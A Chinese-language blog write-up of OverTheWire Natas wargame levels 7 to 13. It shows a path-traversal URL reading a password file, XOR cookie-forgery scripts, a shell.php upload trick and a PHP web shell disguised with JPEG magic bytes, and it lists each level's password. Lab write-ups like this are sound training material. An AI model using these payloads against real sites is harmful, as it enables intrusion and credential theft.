Ray's Blog

成功沒有捷徑，但通勤不能沒有 Wi-Fi！

Natas Writeup

發表於

Natas 7~12 Writeup

Level7

website：http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8
password：xcoXLmzMkoIP9D7hlgPlh9XD7OgLAe5Q

Level8

用 GPT 解碼
password：ZE1ck82lmdGIoErlhQgWND6j2Wzz6b6t

Level9

Command Injection
password：t7I5VHvpa14sJTUGV0cbEsbYfFP2dmOu

Level10

Command Injection
password：UJdqkK1pTu6VLt9UHWAgRZz6sVUZ3lEk

Level11

工具 ZAP
cookie：HmYkBwozJw4WNyAAFyB1VUcqOE1JZjUIBis7ABdmbU1GIjEJAyIxTRg=
解碼：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var Base64 = Java.type("java.util.Base64");
var String = Java.type("java.lang.String");

var cookie = "HmYkBwozJw4WNyAAFyB1VUcqOE1JZjUIBis7ABdmbU1GIjEJAyIxTRg=";
var cipher = Base64.getDecoder().decode(cookie);

var plain = '{"showpassword":"no","bgcolor":"#ffffff"}'.getBytes();

var key = [];
for (var i = 0; i < plain.length; i++) {
    key.push(cipher[i] ^ plain[i]);
}

print("key = " + new String(Java.to(key, "byte[]")));

輸出：eDWoeDWoeDWoeDWoeDWoeDWoeDWoeDWoeDWoeDWoe

BUT:eDWoeDWoeDWoeDWoeDWoeDWoeDWoeDWoeDWoeDWoeDWoeDWoeDWo

XOR解碼

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var Base64 = Java.type("java.util.Base64");
var String = Java.type("java.lang.String");

var newPlain = '{"showpassword":"yes","bgcolor":"#ffffff"}'.getBytes();
var keyBytes = "eDWoeDWoeDWoeDWoeDWoeDWoeDWoeDWoeDWoeDWoeDWoeDWoeDWo".getBytes();

var out = [];
for (var i = 0; i < newPlain.length; i++) {
    out.push(newPlain[i] ^ keyBytes[i % keyBytes.length]);
}

var encoded = Base64.getEncoder()
    .encodeToString(Java.to(out, "byte[]"));

print(encoded);

輸出：HmYkBwozJw4WNyAAFyB1VUc9MhxHaHUNAic4Awo2dVVHZzEJAyIxCUc5

1
document.cookie  =  "data=HmYkBwozJw4WNyAAFyB1VUc9MhxHaHUNAic4Awo2dVVHZzEJAyIxCUc5"  ;

圖片說明
password：yZdkjAYZRd3R7tq7T5kXMjMJlOIkzDeB

Level12

上傳.php檔

1
<input type="hidden" name="filename" value="shell.php">

password：trbs5pCjCrkuSknBBKHhaBxq6Wm1j3LC

Level13

上傳php

1
echo '\xFF\xD8\xFF\xE0<?php system("cat /etc/natas_webpass/natas14"); ?>'